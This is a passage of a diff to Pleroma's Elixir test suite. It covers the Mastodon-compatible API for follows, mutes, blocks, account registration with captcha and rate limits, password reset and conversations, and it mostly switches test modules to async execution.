	\|> post("/api/v1/accounts/#{other_user_id}/follow")
	\|> json_response_and_validate_schema(200)

	assert %{"id" => _id, "following" => false} =
	conn
	\|> post("/api/v1/accounts/#{other_user_id}/unfollow")
	\|> json_response_and_validate_schema(200)

	assert %{"id" => ^other_user_id} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/follows", %{"uri" => other_user_nickname})
	\|> json_response_and_validate_schema(200)
	end

	test "cancelling follow request", %{conn: conn} do
	%{id: other_user_id} = insert(:user, %{is_locked: true})

	assert %{"id" => ^other_user_id, "following" => false, "requested" => true} =
	conn
	\|> post("/api/v1/accounts/#{other_user_id}/follow")
	\|> json_response_and_validate_schema(:ok)

	assert %{"id" => ^other_user_id, "following" => false, "requested" => false} =
	conn
	\|> post("/api/v1/accounts/#{other_user_id}/unfollow")
	\|> json_response_and_validate_schema(:ok)
	end

	test "following without reblogs" do
	%{conn: conn} = oauth_access(["follow", "read:statuses"])
	followed = insert(:user)
	other_user = insert(:user)

	ret_conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/accounts/#{followed.id}/follow", %{reblogs: false})

	assert %{"showing_reblogs" => false} = json_response_and_validate_schema(ret_conn, 200)

	{:ok, activity} = CommonAPI.post(other_user, %{status: "hey"})
	{:ok, %{id: reblog_id}} = CommonAPI.repeat(activity.id, followed)

	assert [] ==
	conn
	\|> get("/api/v1/timelines/home")
	\|> json_response(200)

	assert %{"showing_reblogs" => true} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/accounts/#{followed.id}/follow", %{reblogs: true})
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => ^reblog_id}] =
	conn
	\|> get("/api/v1/timelines/home")
	\|> json_response(200)
	end

	test "following with reblogs" do
	%{conn: conn} = oauth_access(["follow", "read:statuses"])
	followed = insert(:user)
	other_user = insert(:user)

	ret_conn = post(conn, "/api/v1/accounts/#{followed.id}/follow")

	assert %{"showing_reblogs" => true} = json_response_and_validate_schema(ret_conn, 200)

	{:ok, activity} = CommonAPI.post(other_user, %{status: "hey"})
	{:ok, %{id: reblog_id}} = CommonAPI.repeat(activity.id, followed)

	assert [%{"id" => ^reblog_id}] =
	conn
	\|> get("/api/v1/timelines/home")
	\|> json_response(200)

	assert %{"showing_reblogs" => false} =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/accounts/#{followed.id}/follow", %{reblogs: false})
	\|> json_response_and_validate_schema(200)

	assert [] ==
	conn
	\|> get("/api/v1/timelines/home")
	\|> json_response(200)
	end

	test "following / unfollowing errors", %{user: user, conn: conn} do
	# self follow
	conn_res = post(conn, "/api/v1/accounts/#{user.id}/follow")

	assert %{"error" => "Can not follow yourself"} =
	json_response_and_validate_schema(conn_res, 400)

	# self unfollow
	user = User.get_cached_by_id(user.id)
	conn_res = post(conn, "/api/v1/accounts/#{user.id}/unfollow")

	assert %{"error" => "Can not unfollow yourself"} =
	json_response_and_validate_schema(conn_res, 400)

	# self follow via uri
	user = User.get_cached_by_id(user.id)

	assert %{"error" => "Can not follow yourself"} =
	conn
	\|> put_req_header("content-type", "multipart/form-data")
	\|> post("/api/v1/follows", %{"uri" => user.nickname})
	\|> json_response_and_validate_schema(400)

	# follow non existing user
	conn_res = post(conn, "/api/v1/accounts/doesntexist/follow")
	assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn_res, 404)

	# follow non existing user via uri
	conn_res =
	conn
	\|> put_req_header("content-type", "multipart/form-data")
	\|> post("/api/v1/follows", %{"uri" => "doesntexist"})

	assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn_res, 404)

	# unfollow non existing user
	conn_res = post(conn, "/api/v1/accounts/doesntexist/unfollow")
	assert %{"error" => "Record not found"} = json_response_and_validate_schema(conn_res, 404)
	end
	end

	describe "mute/unmute" do
	setup do: oauth_access(["write:mutes"])

	test "with notifications", %{conn: conn} do
	other_user = insert(:user)

	assert %{"id" => _id, "muting" => true, "muting_notifications" => true} =
	conn
	\|> post("/api/v1/accounts/#{other_user.id}/mute")
	\|> json_response_and_validate_schema(200)

	conn = post(conn, "/api/v1/accounts/#{other_user.id}/unmute")

	assert %{"id" => _id, "muting" => false, "muting_notifications" => false} =
	json_response_and_validate_schema(conn, 200)
	end

	test "without notifications", %{conn: conn} do
	other_user = insert(:user)

	ret_conn =
	conn
	\|> put_req_header("content-type", "multipart/form-data")
	\|> post("/api/v1/accounts/#{other_user.id}/mute", %{"notifications" => "false"})

	assert %{"id" => _id, "muting" => true, "muting_notifications" => false} =
	json_response_and_validate_schema(ret_conn, 200)

	conn = post(conn, "/api/v1/accounts/#{other_user.id}/unmute")

	assert %{"id" => _id, "muting" => false, "muting_notifications" => false} =
	json_response_and_validate_schema(conn, 200)
	end
	end

	describe "pinned statuses" do
	setup do
	user = insert(:user)
	{:ok, activity} = CommonAPI.post(user, %{status: "HI!!!"})
	%{conn: conn} = oauth_access(["read:statuses"], user: user)

	[conn: conn, user: user, activity: activity]
	end

	test "returns pinned statuses", %{conn: conn, user: user, activity: %{id: activity_id}} do
	{:ok, _} = CommonAPI.pin(activity_id, user)

	assert [%{"id" => ^activity_id, "pinned" => true}] =
	conn
	\|> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
	\|> json_response_and_validate_schema(200)
	end
	end

	test "blocking / unblocking a user" do
	%{conn: conn} = oauth_access(["follow"])
	other_user = insert(:user)

	ret_conn = post(conn, "/api/v1/accounts/#{other_user.id}/block")

	assert %{"id" => _id, "blocking" => true} = json_response_and_validate_schema(ret_conn, 200)

	conn = post(conn, "/api/v1/accounts/#{other_user.id}/unblock")

	assert %{"id" => _id, "blocking" => false} = json_response_and_validate_schema(conn, 200)
	end

	describe "create account by app" do
	setup do
	valid_params = %{
	username: "lain",
	email: "lain@example.org",
	password: "PlzDontHackLain",
	agreement: true
	}

	[valid_params: valid_params]
	end

	test "registers and logs in without :account_activation_required / :account_approval_required",
	%{conn: conn} do
	clear_config([:instance, :account_activation_required], false)
	clear_config([:instance, :account_approval_required], false)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/apps", %{
	client_name: "client_name",
	redirect_uris: "urn:ietf:wg:oauth:2.0:oob",
	scopes: "read, write, follow"
	})

	assert %{
	"client_id" => client_id,
	"client_secret" => client_secret,
	"id" => _,
	"name" => "client_name",
	"redirect_uri" => "urn:ietf:wg:oauth:2.0:oob",
	"vapid_key" => _,
	"website" => nil
	} = json_response_and_validate_schema(conn, 200)

	conn =
	post(conn, "/oauth/token", %{
	grant_type: "client_credentials",
	client_id: client_id,
	client_secret: client_secret
	})

	assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} =
	json_response(conn, 200)

	assert token
	token_from_db = Repo.get_by(Token, token: token)
	assert token_from_db
	assert refresh
	assert scope == "read write follow"

	clear_config([User, :email_blacklist], ["example.org"])

	params = %{
	username: "lain",
	email: "lain@example.org",
	password: "PlzDontHackLain",
	bio: "Test Bio",
	agreement: true
	}

	conn =
	build_conn()
	\|> put_req_header("content-type", "multipart/form-data")
	\|> put_req_header("authorization", "Bearer " <> token)
	\|> post("/api/v1/accounts", params)

	assert %{"error" => "{\"email\":[\"Invalid email\"]}"} =
	json_response_and_validate_schema(conn, 400)

	Pleroma.Config.put([User, :email_blacklist], [])

	conn =
	build_conn()
	\|> put_req_header("content-type", "multipart/form-data")
	\|> put_req_header("authorization", "Bearer " <> token)
	\|> post("/api/v1/accounts", params)

	%{
	"access_token" => token,
	"created_at" => _created_at,
	"scope" => ^scope,
	"token_type" => "Bearer"
	} = json_response_and_validate_schema(conn, 200)

	token_from_db = Repo.get_by(Token, token: token)
	assert token_from_db
	user = Repo.preload(token_from_db, :user).user

	assert user
	refute user.confirmation_pending
	refute user.approval_pending
	end

	test "registers but does not log in with :account_activation_required", %{conn: conn} do
	clear_config([:instance, :account_activation_required], true)
	clear_config([:instance, :account_approval_required], false)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/apps", %{
	client_name: "client_name",
	redirect_uris: "urn:ietf:wg:oauth:2.0:oob",
	scopes: "read, write, follow"
	})

	assert %{
	"client_id" => client_id,
	"client_secret" => client_secret,
	"id" => _,
	"name" => "client_name",
	"redirect_uri" => "urn:ietf:wg:oauth:2.0:oob",
	"vapid_key" => _,
	"website" => nil
	} = json_response_and_validate_schema(conn, 200)

	conn =
	post(conn, "/oauth/token", %{
	grant_type: "client_credentials",
	client_id: client_id,
	client_secret: client_secret
	})

	assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} =
	json_response(conn, 200)

	assert token
	token_from_db = Repo.get_by(Token, token: token)
	assert token_from_db
	assert refresh
	assert scope == "read write follow"

	conn =
	build_conn()
	\|> put_req_header("content-type", "multipart/form-data")
	\|> put_req_header("authorization", "Bearer " <> token)
	\|> post("/api/v1/accounts", %{
	username: "lain",
	email: "lain@example.org",
	password: "PlzDontHackLain",
	bio: "Test Bio",
	agreement: true
	})

	response = json_response_and_validate_schema(conn, 200)
	assert %{"identifier" => "missing_confirmed_email"} = response
	refute response["access_token"]
	refute response["token_type"]

	user = Repo.get_by(User, email: "lain@example.org")
	assert user.confirmation_pending
	end

	test "registers but does not log in with :account_approval_required", %{conn: conn} do
	clear_config([:instance, :account_approval_required], true)
	clear_config([:instance, :account_activation_required], false)

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/apps", %{
	client_name: "client_name",
	redirect_uris: "urn:ietf:wg:oauth:2.0:oob",
	scopes: "read, write, follow"
	})

	assert %{
	"client_id" => client_id,
	"client_secret" => client_secret,
	"id" => _,
	"name" => "client_name",
	"redirect_uri" => "urn:ietf:wg:oauth:2.0:oob",
	"vapid_key" => _,
	"website" => nil
	} = json_response_and_validate_schema(conn, 200)

	conn =
	post(conn, "/oauth/token", %{
	grant_type: "client_credentials",
	client_id: client_id,
	client_secret: client_secret
	})

	assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} =
	json_response(conn, 200)

	assert token
	token_from_db = Repo.get_by(Token, token: token)
	assert token_from_db
	assert refresh
	assert scope == "read write follow"

	conn =
	build_conn()
	\|> put_req_header("content-type", "multipart/form-data")
	\|> put_req_header("authorization", "Bearer " <> token)
	\|> post("/api/v1/accounts", %{
	username: "lain",
	email: "lain@example.org",
	password: "PlzDontHackLain",
	bio: "Test Bio",
	agreement: true,
	reason: "I'm a cool dude, bro"
	})

	response = json_response_and_validate_schema(conn, 200)
	assert %{"identifier" => "awaiting_approval"} = response
	refute response["access_token"]
	refute response["token_type"]

	user = Repo.get_by(User, email: "lain@example.org")

	assert user.approval_pending
	assert user.registration_reason == "I'm a cool dude, bro"
	end

	test "returns error when user already registred", %{conn: conn, valid_params: valid_params} do
	_user = insert(:user, email: "lain@example.org")
	app_token = insert(:oauth_token, user: nil)

	res =
	conn
	\|> put_req_header("authorization", "Bearer " <> app_token.token)
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/accounts", valid_params)

	assert json_response_and_validate_schema(res, 400) == %{
	"error" => "{\"email\":[\"has already been taken\"]}"
	}
	end

	test "returns bad_request if missing required params", %{
	conn: conn,
	valid_params: valid_params
	} do
	app_token = insert(:oauth_token, user: nil)

	conn =
	conn
	\|> put_req_header("authorization", "Bearer " <> app_token.token)
	\|> put_req_header("content-type", "application/json")

	res = post(conn, "/api/v1/accounts", valid_params)
	assert json_response_and_validate_schema(res, 200)

	[{127, 0, 0, 1}, {127, 0, 0, 2}, {127, 0, 0, 3}, {127, 0, 0, 4}]
	\|> Stream.zip(Map.delete(valid_params, :email))
	\|> Enum.each(fn {ip, {attr, _}} ->
	res =
	conn
	\|> Map.put(:remote_ip, ip)
	\|> post("/api/v1/accounts", Map.delete(valid_params, attr))
	\|> json_response_and_validate_schema(400)

	assert res == %{
	"error" => "Missing field: #{attr}.",
	"errors" => [
	%{
	"message" => "Missing field: #{attr}",
	"source" => %{"pointer" => "/#{attr}"},
	"title" => "Invalid value"
	}
	]
	}
	end)
	end

	test "returns bad_request if missing email params when :account_activation_required is enabled",
	%{conn: conn, valid_params: valid_params} do
	clear_config([:instance, :account_activation_required], true)

	app_token = insert(:oauth_token, user: nil)

	conn =
	conn
	\|> put_req_header("authorization", "Bearer " <> app_token.token)
	\|> put_req_header("content-type", "application/json")

	res =
	conn
	\|> Map.put(:remote_ip, {127, 0, 0, 5})
	\|> post("/api/v1/accounts", Map.delete(valid_params, :email))

	assert json_response_and_validate_schema(res, 400) ==
	%{"error" => "Missing parameter: email"}

	res =
	conn
	\|> Map.put(:remote_ip, {127, 0, 0, 6})
	\|> post("/api/v1/accounts", Map.put(valid_params, :email, ""))

	assert json_response_and_validate_schema(res, 400) == %{
	"error" => "{\"email\":[\"can't be blank\"]}"
	}
	end

	test "allow registration without an email", %{conn: conn, valid_params: valid_params} do
	app_token = insert(:oauth_token, user: nil)
	conn = put_req_header(conn, "authorization", "Bearer " <> app_token.token)

	res =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> Map.put(:remote_ip, {127, 0, 0, 7})
	\|> post("/api/v1/accounts", Map.delete(valid_params, :email))

	assert json_response_and_validate_schema(res, 200)
	end

	test "allow registration with an empty email", %{conn: conn, valid_params: valid_params} do
	app_token = insert(:oauth_token, user: nil)
	conn = put_req_header(conn, "authorization", "Bearer " <> app_token.token)

	res =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> Map.put(:remote_ip, {127, 0, 0, 8})
	\|> post("/api/v1/accounts", Map.put(valid_params, :email, ""))

	assert json_response_and_validate_schema(res, 200)
	end

	test "returns forbidden if token is invalid", %{conn: conn, valid_params: valid_params} do
	res =
	conn
	\|> put_req_header("authorization", "Bearer " <> "invalid-token")
	\|> put_req_header("content-type", "multipart/form-data")
	\|> post("/api/v1/accounts", valid_params)

	assert json_response_and_validate_schema(res, 403) == %{"error" => "Invalid credentials"}
	end

	test "registration from trusted app" do
	clear_config([Pleroma.Captcha, :enabled], true)
	app = insert(:oauth_app, trusted: true, scopes: ["read", "write", "follow", "push"])

	conn =
	build_conn()
	\|> post("/oauth/token", %{
	"grant_type" => "client_credentials",
	"client_id" => app.client_id,
	"client_secret" => app.client_secret
	})

	assert %{"access_token" => token, "token_type" => "Bearer"} = json_response(conn, 200)

	response =
	build_conn()
	\|> Plug.Conn.put_req_header("authorization", "Bearer " <> token)
	\|> put_req_header("content-type", "multipart/form-data")
	\|> post("/api/v1/accounts", %{
	nickname: "nickanme",
	agreement: true,
	email: "email@example.com",
	fullname: "Lain",
	username: "Lain",
	password: "some_password",
	confirm: "some_password"
	})
	\|> json_response_and_validate_schema(200)

	assert %{
	"access_token" => access_token,
	"created_at" => _,
	"scope" => "read write follow push",
	"token_type" => "Bearer"
	} = response

	response =
	build_conn()
	\|> Plug.Conn.put_req_header("authorization", "Bearer " <> access_token)
	\|> get("/api/v1/accounts/verify_credentials")
	\|> json_response_and_validate_schema(200)

	assert %{
	"acct" => "Lain",
	"bot" => false,
	"display_name" => "Lain",
	"follow_requests_count" => 0,
	"followers_count" => 0,
	"following_count" => 0,
	"locked" => false,
	"note" => "",
	"source" => %{
	"fields" => [],
	"note" => "",
	"pleroma" => %{
	"actor_type" => "Person",
	"discoverable" => false,
	"no_rich_text" => false,
	"show_role" => true
	},
	"privacy" => "public",
	"sensitive" => false
	},
	"statuses_count" => 0,
	"username" => "Lain"
	} = response
	end
	end

	describe "create account by app / rate limit" do
	setup do: clear_config([:rate_limit, :app_account_creation], {10_000, 2})

	test "respects rate limit setting", %{conn: conn} do
	app_token = insert(:oauth_token, user: nil)

	conn =
	conn
	\|> put_req_header("authorization", "Bearer " <> app_token.token)
	\|> Map.put(:remote_ip, {15, 15, 15, 15})
	\|> put_req_header("content-type", "multipart/form-data")

	for i <- 1..2 do
	conn =
	conn
	\|> post("/api/v1/accounts", %{
	username: "#{i}lain",
	email: "#{i}lain@example.org",
	password: "PlzDontHackLain",
	agreement: true
	})

	%{
	"access_token" => token,
	"created_at" => _created_at,
	"scope" => _scope,
	"token_type" => "Bearer"
	} = json_response_and_validate_schema(conn, 200)

	token_from_db = Repo.get_by(Token, token: token)
	assert token_from_db
	token_from_db = Repo.preload(token_from_db, :user)
	assert token_from_db.user
	end

	conn =
	post(conn, "/api/v1/accounts", %{
	username: "6lain",
	email: "6lain@example.org",
	password: "PlzDontHackLain",
	agreement: true
	})

	assert json_response_and_validate_schema(conn, :too_many_requests) == %{
	"error" => "Throttled"
	}
	end
	end

	describe "create account with enabled captcha" do
	setup %{conn: conn} do
	app_token = insert(:oauth_token, user: nil)

	conn =
	conn
	\|> put_req_header("authorization", "Bearer " <> app_token.token)
	\|> put_req_header("content-type", "multipart/form-data")

	[conn: conn]
	end

	setup do: clear_config([Pleroma.Captcha, :enabled], true)

	test "creates an account and returns 200 if captcha is valid", %{conn: conn} do
	%{token: token, answer_data: answer_data} = Pleroma.Captcha.new()

	params = %{
	username: "lain",
	email: "lain@example.org",
	password: "PlzDontHackLain",
	agreement: true,
	captcha_solution: Pleroma.Captcha.Mock.solution(),
	captcha_token: token,
	captcha_answer_data: answer_data
	}

	assert %{
	"access_token" => access_token,
	"created_at" => _,
	"scope" => "read",
	"token_type" => "Bearer"
	} =
	conn
	\|> post("/api/v1/accounts", params)
	\|> json_response_and_validate_schema(:ok)

	assert Token \|> Repo.get_by(token: access_token) \|> Repo.preload(:user) \|> Map.get(:user)
	-
	- Cachex.del(:used_captcha_cache, token)
	end

	test "returns 400 if any captcha field is not provided", %{conn: conn} do
	captcha_fields = [:captcha_solution, :captcha_token, :captcha_answer_data]

	valid_params = %{
	username: "lain",
	email: "lain@example.org",
	password: "PlzDontHackLain",
	agreement: true,
	captcha_solution: "xx",
	captcha_token: "xx",
	captcha_answer_data: "xx"
	}

	for field <- captcha_fields do
	expected = %{
	"error" => "{\"captcha\":[\"Invalid CAPTCHA (Missing parameter: #{field})\"]}"
	}

	assert expected ==
	conn
	\|> post("/api/v1/accounts", Map.delete(valid_params, field))
	\|> json_response_and_validate_schema(:bad_request)
	end
	end

	test "returns an error if captcha is invalid", %{conn: conn} do
	params = %{
	username: "lain",
	email: "lain@example.org",
	password: "PlzDontHackLain",
	agreement: true,
	captcha_solution: "cofe",
	captcha_token: "cofe",
	captcha_answer_data: "cofe"
	}

	assert %{"error" => "{\"captcha\":[\"Invalid answer data\"]}"} ==
	conn
	\|> post("/api/v1/accounts", params)
	\|> json_response_and_validate_schema(:bad_request)
	end
	end

	describe "GET /api/v1/accounts/:id/lists - account_lists" do
	test "returns lists to which the account belongs" do
	%{user: user, conn: conn} = oauth_access(["read:lists"])
	other_user = insert(:user)
	assert {:ok, %Pleroma.List{id: _list_id} = list} = Pleroma.List.create("Test List", user)
	{:ok, %{following: _following}} = Pleroma.List.follow(list, other_user)

	assert [%{"id" => _list_id, "title" => "Test List"}] =
	conn
	\|> get("/api/v1/accounts/#{other_user.id}/lists")
	\|> json_response_and_validate_schema(200)
	end
	end

	describe "verify_credentials" do
	test "verify_credentials" do
	%{user: user, conn: conn} = oauth_access(["read:accounts"])

	[notification \| _] =
	insert_list(7, :notification, user: user, activity: insert(:note_activity))

	Pleroma.Notification.set_read_up_to(user, notification.id)
	conn = get(conn, "/api/v1/accounts/verify_credentials")

	response = json_response_and_validate_schema(conn, 200)

	assert %{"id" => id, "source" => %{"privacy" => "public"}} = response
	assert response["pleroma"]["chat_token"]
	assert response["pleroma"]["unread_notifications_count"] == 6
	assert id == to_string(user.id)
	end

	test "verify_credentials default scope unlisted" do
	user = insert(:user, default_scope: "unlisted")
	%{conn: conn} = oauth_access(["read:accounts"], user: user)

	conn = get(conn, "/api/v1/accounts/verify_credentials")

	assert %{"id" => id, "source" => %{"privacy" => "unlisted"}} =
	json_response_and_validate_schema(conn, 200)

	assert id == to_string(user.id)
	end

	test "locked accounts" do
	user = insert(:user, default_scope: "private")
	%{conn: conn} = oauth_access(["read:accounts"], user: user)

	conn = get(conn, "/api/v1/accounts/verify_credentials")

	assert %{"id" => id, "source" => %{"privacy" => "private"}} =
	json_response_and_validate_schema(conn, 200)

	assert id == to_string(user.id)
	end
	end

	describe "user relationships" do
	setup do: oauth_access(["read:follows"])

	test "returns the relationships for the current user", %{user: user, conn: conn} do
	%{id: other_user_id} = other_user = insert(:user)
	{:ok, _user, _other_user} = User.follow(user, other_user)

	assert [%{"id" => ^other_user_id}] =
	conn
	\|> get("/api/v1/accounts/relationships?id=#{other_user.id}")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => ^other_user_id}] =
	conn
	\|> get("/api/v1/accounts/relationships?id[]=#{other_user.id}")
	\|> json_response_and_validate_schema(200)
	end

	test "returns an empty list on a bad request", %{conn: conn} do
	conn = get(conn, "/api/v1/accounts/relationships", %{})

	assert [] = json_response_and_validate_schema(conn, 200)
	end
	end

	test "getting a list of mutes" do
	%{user: user, conn: conn} = oauth_access(["read:mutes"])
	%{id: id1} = other_user1 = insert(:user)
	%{id: id2} = other_user2 = insert(:user)
	%{id: id3} = other_user3 = insert(:user)

	{:ok, _user_relationships} = User.mute(user, other_user1)
	{:ok, _user_relationships} = User.mute(user, other_user2)
	{:ok, _user_relationships} = User.mute(user, other_user3)

	result =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/mutes")
	\|> json_response_and_validate_schema(200)

	assert [id1, id2, id3] == Enum.map(result, & &1["id"])

	result =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/mutes?limit=1")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => ^id1}] = result

	result =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/mutes?since_id=#{id1}")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => ^id2}, %{"id" => ^id3}] = result

	result =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/mutes?since_id=#{id1}&max_id=#{id3}")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => ^id2}] = result

	result =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/mutes?since_id=#{id1}&limit=1")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => ^id2}] = result
	end

	test "getting a list of blocks" do
	%{user: user, conn: conn} = oauth_access(["read:blocks"])
	%{id: id1} = other_user1 = insert(:user)
	%{id: id2} = other_user2 = insert(:user)
	%{id: id3} = other_user3 = insert(:user)

	{:ok, _user_relationship} = User.block(user, other_user1)
	{:ok, _user_relationship} = User.block(user, other_user3)
	{:ok, _user_relationship} = User.block(user, other_user2)

	result =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/blocks")
	\|> json_response_and_validate_schema(200)

	assert [id1, id2, id3] == Enum.map(result, & &1["id"])

	result =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/blocks?limit=1")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => ^id1}] = result

	result =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/blocks?since_id=#{id1}")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => ^id2}, %{"id" => ^id3}] = result

	result =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/blocks?since_id=#{id1}&max_id=#{id3}")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => ^id2}] = result

	result =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/blocks?since_id=#{id1}&limit=1")
	\|> json_response_and_validate_schema(200)

	assert [%{"id" => ^id2}] = result
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/controllers/auth_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/auth_controller_test.exs
	index d7834c876..ce957054b 100644
	--- a/test/pleroma/web/mastodon_api/controllers/auth_controller_test.exs
	+++ b/test/pleroma/web/mastodon_api/controllers/auth_controller_test.exs
	@@ -1,159 +1,159 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.AuthControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	alias Pleroma.Config
	alias Pleroma.Repo
	alias Pleroma.Tests.ObanHelpers

	import Pleroma.Factory
	import Swoosh.TestAssertions

	describe "GET /web/login" do
	setup %{conn: conn} do
	session_opts = [
	store: :cookie,
	key: "_test",
	signing_salt: "cooldude"
	]

	conn =
	conn
	\|> Plug.Session.call(Plug.Session.init(session_opts))
	\|> fetch_session()

	test_path = "/web/statuses/test"
	%{conn: conn, path: test_path}
	end

	test "redirects to the saved path after log in", %{conn: conn, path: path} do
	app = insert(:oauth_app, client_name: "Mastodon-Local", redirect_uris: ".")
	auth = insert(:oauth_authorization, app: app)

	conn =
	conn
	\|> put_session(:return_to, path)
	\|> get("/web/login", %{code: auth.token})

	assert conn.status == 302
	assert redirected_to(conn) =~ path
	end

	test "redirects to the getting-started page when referer is not present", %{conn: conn} do
	app = insert(:oauth_app, client_name: "Mastodon-Local", redirect_uris: ".")
	auth = insert(:oauth_authorization, app: app)

	conn = get(conn, "/web/login", %{code: auth.token})

	assert conn.status == 302
	assert redirected_to(conn) =~ "/web/getting-started"
	end
	end

	describe "POST /auth/password, with valid parameters" do
	setup %{conn: conn} do
	user = insert(:user)
	conn = post(conn, "/auth/password?email=#{user.email}")
	%{conn: conn, user: user}
	end

	test "it returns 204", %{conn: conn} do
	assert empty_json_response(conn)
	end

	test "it creates a PasswordResetToken record for user", %{user: user} do
	token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id)
	assert token_record
	end

	test "it sends an email to user", %{user: user} do
	ObanHelpers.perform_all()
	token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id)

	email = Pleroma.Emails.UserEmail.password_reset_email(user, token_record.token)
	notify_email = Config.get([:instance, :notify_email])
	instance_name = Config.get([:instance, :name])

	assert_email_sent(
	from: {instance_name, notify_email},
	to: {user.name, user.email},
	html_body: email.html_body
	)
	end
	end

	describe "POST /auth/password, with nickname" do
	test "it returns 204", %{conn: conn} do
	user = insert(:user)

	assert conn
	\|> post("/auth/password?nickname=#{user.nickname}")
	\|> empty_json_response()

	ObanHelpers.perform_all()
	token_record = Repo.get_by(Pleroma.PasswordResetToken, user_id: user.id)

	email = Pleroma.Emails.UserEmail.password_reset_email(user, token_record.token)
	notify_email = Config.get([:instance, :notify_email])
	instance_name = Config.get([:instance, :name])

	assert_email_sent(
	from: {instance_name, notify_email},
	to: {user.name, user.email},
	html_body: email.html_body
	)
	end

	test "it doesn't fail when a user has no email", %{conn: conn} do
	user = insert(:user, %{email: nil})

	assert conn
	\|> post("/auth/password?nickname=#{user.nickname}")
	\|> empty_json_response()
	end
	end

	describe "POST /auth/password, with invalid parameters" do
	setup do
	user = insert(:user)
	{:ok, user: user}
	end

	test "it returns 204 when user is not found", %{conn: conn, user: user} do
	conn = post(conn, "/auth/password?email=nonexisting_#{user.email}")

	assert empty_json_response(conn)
	end

	test "it returns 204 when user is not local", %{conn: conn, user: user} do
	{:ok, user} = Repo.update(Ecto.Changeset.change(user, local: false))
	conn = post(conn, "/auth/password?email=#{user.email}")

	assert empty_json_response(conn)
	end

	test "it returns 204 when user is deactivated", %{conn: conn, user: user} do
	{:ok, user} = Repo.update(Ecto.Changeset.change(user, deactivated: true, local: true))
	conn = post(conn, "/auth/password?email=#{user.email}")

	assert empty_json_response(conn)
	end
	end

	describe "DELETE /auth/sign_out" do
	test "redirect to root page", %{conn: conn} do
	user = insert(:user)

	conn =
	conn
	\|> assign(:user, user)
	\|> delete("/auth/sign_out")

	assert conn.status == 302
	assert redirected_to(conn) == "/"
	end
	end
	end
	diff --git a/test/pleroma/web/mastodon_api/controllers/conversation_controller_test.exs b/test/pleroma/web/mastodon_api/controllers/conversation_controller_test.exs
	index b00615ac9..a03513e06 100644
	--- a/test/pleroma/web/mastodon_api/controllers/conversation_controller_test.exs
	+++ b/test/pleroma/web/mastodon_api/controllers/conversation_controller_test.exs
	@@ -1,231 +1,231 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.MastodonAPI.ConversationControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	alias Pleroma.Conversation.Participation
	alias Pleroma.User
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	setup do: oauth_access(["read:statuses"])

	describe "returns a list of conversations" do
	setup(%{user: user_one, conn: conn}) do
	user_two = insert(:user)
	user_three = insert(:user)

	{:ok, user_two, user_one} = User.follow(user_two, user_one)

	{:ok, %{user: user_one, user_two: user_two, user_three: user_three, conn: conn}}
	end

	test "returns correct conversations", %{
	user: user_one,
	user_two: user_two,
	user_three: user_three,
	conn: conn
	} do
	assert Participation.unread_count(user_two) == 0
	{:ok, direct} = create_direct_message(user_one, [user_two, user_three])

	assert Participation.unread_count(user_two) == 1

	{:ok, _follower_only} =
	CommonAPI.post(user_one, %{
	status: "Hi @#{user_two.nickname}!",
	visibility: "private"
	})

	res_conn = get(conn, "/api/v1/conversations")

	assert response = json_response_and_validate_schema(res_conn, 200)

	assert [
	%{
	"id" => res_id,
	"accounts" => res_accounts,
	"last_status" => res_last_status,
	"unread" => unread
	}
	] = response

	account_ids = Enum.map(res_accounts, & &1["id"])
	assert length(res_accounts) == 2
	assert user_one.id not in account_ids
	assert user_two.id in account_ids
	assert user_three.id in account_ids
	assert is_binary(res_id)
	assert unread == false
	assert res_last_status["id"] == direct.id
	assert res_last_status["account"]["id"] == user_one.id
	assert Participation.unread_count(user_one) == 0
	end

	test "includes the user if the user is the only participant", %{
	user: user_one,
	conn: conn
	} do
	{:ok, _direct} = create_direct_message(user_one, [])

